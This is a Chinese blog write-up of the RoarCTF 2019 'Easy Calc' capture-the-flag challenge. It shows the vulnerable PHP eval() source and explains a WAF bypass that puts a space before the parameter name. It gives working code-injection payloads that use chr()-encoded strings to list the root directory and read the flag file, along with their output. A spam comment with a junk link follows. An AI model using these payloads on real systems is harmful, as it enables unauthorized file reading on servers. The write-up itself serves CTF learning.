[web] [RoarCTF 2019]Easy Calc

  • A+
所属分类:web 菜鸟笔记

卑微web菜鸡....

要用到的几个php函数

部分常用函数在waf中可能会被过滤掉,需要用一些其它的函数。

  • vardump() 将变量以字符串形式输出,替代print和echo
  • chr() ASCII范围的整数转字符
  • file_get_contents() 顾名思义获取一个文件的内容,替代system('cat flag;')
  • scandir() 扫描某个目录并将结果以array形式返回,配和vardump 可以替代system('ls;')

题目分析

[web] [RoarCTF 2019]Easy Calc
[web] [RoarCTF 2019]Easy Calc

首先进到去是由一个输入框构成的计算器页面,可以计算所给出的表达式,查看源码发现是/calc.php这个程序负责处理,但是注意到有一个注释 <!--I've set up WAF to ensure security.--> 说明除了calc之外,还有一层对于请求参数的检查。

直接访问/calc.php看到源码:

<?php
error_reporting(0);
if(!isset(_GET['num'])){
    show_source(__FILE__);
}else{str = _GET['num'];blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\','\\','\^'];
        foreach (blacklist as blackitem) {
                if (preg_match('/' .blackitem . '/m', str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.str.';');
}
?>

明显过滤了一些常用的字符,比如单引号双引号反引号。不过可以尝试用chr()来绕过。

这里一个很重要的东西就是,php从请求的url中取出参数并保存之前会先去除空白符号并将一些特殊符号转换为下划线_。所以..../calc.php?num=xxx..../calc.php?(空格)num=xxx 是等价的,而waf在检查的时候就不一定(不一定,不是一定不)能够正确解析,从而识别不出num这个参数,于是使用空格就可以绕过waf层面的检查,配合一些函数就可以绕过calc.php的检查。

先列出目录看看flag在哪:

payload: 1;var_dump(scandir(chr(47)))

返回值:

1array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }

发现有一个f1agg文件,尝试用file_get_contents读取一下:

payload 1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

返回值:

1string(43) "flag{1e6a1546-59e5-4fc9-a5a9-ac2e64f320d6} "

得到flag

这题主要的思想就是利用php和waf对于请求参数解析的差异达到绕过的目的。

eqqie

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen:

目前评论:1   其中:访客  1   博主  0

    • cgqtjttoi cgqtjttoi 0

      [web] [RoarCTF 2019]Easy Calc | 赤道企鹅的博客
      acgqtjttoi
      [url=http://www.g02ux194y4v5g14k6be399l0crqe0eh8s.org/]ucgqtjttoi[/url]
      cgqtjttoi http://www.g02ux194y4v5g14k6be399l0crqe0eh8s.org/